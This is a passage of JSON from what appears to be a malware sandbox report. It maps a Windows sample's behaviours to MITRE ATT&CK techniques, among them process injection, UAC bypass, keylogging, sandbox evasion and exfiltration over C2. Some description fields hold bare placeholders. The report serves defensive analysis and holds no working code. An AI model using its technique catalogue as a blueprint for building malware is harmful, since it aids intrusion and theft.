(.NET)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve entry point of a process loaded into memory (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Able to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Attempts to delete files using advpack.dll via registry key"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"},{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"},{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Imports SHEmptyRecycleBin API"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to block user input (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","identifiers":[{"type":"suspicious","value":"Persistent registry entry has regsvr32/rundll32 with arguments"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads system mouse configuration"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API used to retrieve process information"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Contains references to the retrieval of internet session handle (imports API)"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Imports windows networking-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"},{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"oelfindingphotographssapphirecompression\" (Source: \"00000000-00004240.00000000.287250.3F1C0000.00000004.mdmp, 00000000-00004240.00000001.289171.3F1C0000.00000004.mdmp, 00000000-00004240.00000002.291091.3F1C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004240.00000001.289171.0F71C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00004240.00000001.289171.0F71C000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00004240.00000001.289171.0F71C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"